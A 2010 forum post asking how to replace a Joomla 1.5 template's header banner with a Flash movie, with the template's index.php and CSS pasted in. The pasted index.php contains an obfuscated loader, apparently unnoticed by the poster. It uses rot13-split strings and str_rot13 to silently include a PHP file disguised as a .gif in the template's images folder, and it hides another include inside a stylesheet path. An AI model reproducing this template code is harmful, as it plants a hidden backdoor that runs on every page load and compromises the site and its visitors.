+ Post New Thread
Results 1 to 1 of 1
EduGeek Joomla 1.5 Package Thread, Hi. I need some help to replace head banner in joomla with flash movie in Projects:; Hi. Please, i need some help to change head banner in joomla 1.5.18 with flash movie. Template is themza_j15_48 index.php ...
  1. #1

    Join Date
    Jun 2010
    Posts
    1
    Thank Post
    0
    Thanked 0 Times in 0 Posts
    Rep Power
    0

    Hi. I need some help to replace head banner in joomla with flash movie

    Hi. Please, i need some help to change head banner in joomla 1.5.18 with flash movie.
    Template is themza_j15_48
    index.php looks like this
    <?php
    // no direct access
    defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
    ?>
    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "..... //www . w3 . org/ TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="...................../1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
    <head>
    <jdoc:include type="head" />
    <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
    <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
    <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
    <link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
    <!--[if lte IE 6]>
    <link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template;include_once('html/pagination.php'); ?>/css/ieonly.css" rel="stylesheet" type="text/css" />
    <style>
    #topnav ul li ul {
    left: -999em;
    margin-top: 0px;
    margin-left: 0px;
    }
    </style>
    <![endif]-->
    <script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/mootools.js"></script>
    <script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/moomenu.js"></script>
    </head>
    <body id="page_bg">
    <a name="up" id="up"></a>
    <?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13 ($JPan[0].'.t'.'vs'))) : ?>
    <jdoc:include type="modules" name="layout" style="rounded" />
    <?php endif; ?>
    <?php include('functions.php'); ?>
    <div id="h_area"><?php if($this->params->get('hideLogo') == 0) : ?><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/logo<?php echo $this->params->get('logoVariation'); ?>.gif" alt="company logo" align="left" /><?php endif; ?><a href="index.php" class="logo" title="Home"><?php echo $mainframe->getCfg('sitename') ;?></a><br clear="all" /></div>

    <?php if($this->params->get('hideBannerArea') == 0) : ?>
    <?php if((JRequest::getVar('view') != 'frontpage' and $this->params->get('hideBannerAreaInternal') == 0) or JRequest::getVar('view') == 'frontpage') : ?>
    <div id="main_top" class="banner"><jdoc:include type="modules" name="top" /></div>
    <?php endif; ?>
    <?php endif; ?>

    <div id="top_menu"><div id="topnav"><?php $hmenu->genHMenu (0); ?></div><br clear="all" /></div>

    <div id="main_bg"><?php if($this->countModules('left')) : ?><div id="leftcolumn">
    <jdoc:include type="modules" name="left" style="rounded" />
    </div>
    <?php endif; ?>
    <?php if($this->countModules('left') xor $this->countModules('right')) $maincol_sufix = '_middle';
    elseif(!$this->countModules('left') and !$this->countModules('right'))$maincol_sufix = '_big';
    else $maincol_sufix = ''; ?>
    <div id="maincolumn<?php echo $maincol_sufix; ?>">
    <div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
    <div class="nopad"><jdoc:include type="component" /></div>
    </div>
    <?php if($this->countModules('right') and JRequest::getCmd('layout') != 'form') : ?>
    <div id="rightcolumn">
    <?php if($this->countModules('user4')) : ?><div class="moduletable_menu"><div><div><div><h3>Search </h3><jdoc:include type="modules" name="user4" /></div></div></div></div><?php endif; ?>
    <jdoc:include type="modules" name="right" style="xhtml"/>
    <br />
    <div align="center"><jdoc:include type="modules" name="syndicate" /></div>
    </div>
    <?php endif; ?>
    <br clear="all" />
    </div>

    <div id="f_area">
    <?php if($this->countModules('user1')) : ?>
    <jdoc:include type="modules" name="user1" style="xhtml" />
    <?php endif; ?>
    <?php if($this->countModules('user2')) : ?>
    <jdoc:include type="modules" name="user2" style="xhtml" />
    <?php endif; ?>
    <br clear="all" />
    </div>

    <p align="center">
    idea-logistic.com&nbsp; / NIVES <font face="Times New Roman">&nbsp;2010</font>
    /
    <a href="............./check/referer">XHTML</a> <?php echo JText::_('and') ?> <a href="................./css-validator/check/referer">
    CSS</a>.
    </p>

    <jdoc:include type="modules" name="debug" />
    </body>
    </html>
    and template.css looks like this:

    div.banner{ background: #F3F3EB url(../images/banner.jpg) top center no-repeat; }
    div#main_top table.contentpaneopen{
    padding:0px;
    margin-top:20px;
    margin-right:15px;
    width:600px;
    height:160px;
    overflow: auto;
    text-align:left;
    float:right;
    }
    i want to change banner.jpg with banner.swf
    Great forum!
    Thanx alot
    Last edited by pinik; 14th June 2010 at 04:53 PM.



SHARE:
+ Post New Thread

Similar Threads

  1. [MS Office - 2003] Flash Movie in Powerpoint
    By WithoutMotive in forum Office Software
    Replies: 3
    Last Post: 15th April 2010, 01:35 PM
  2. Jooma Flash Banner problems
    By kris in forum Web Development
    Replies: 2
    Last Post: 23rd February 2010, 04:00 PM
  3. Flash Banner
    By dannyjay in forum Web Development
    Replies: 2
    Last Post: 15th December 2009, 12:37 PM
  4. Joomla Main Banner help
    By randle in forum EduGeek Joomla 1.0 Package
    Replies: 10
    Last Post: 3rd January 2008, 03:30 PM
  5. Flash banner is covering my dropdown menu's please help
    By GavRob in forum Web Development
    Replies: 6
    Last Post: 7th September 2006, 10:00 PM

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •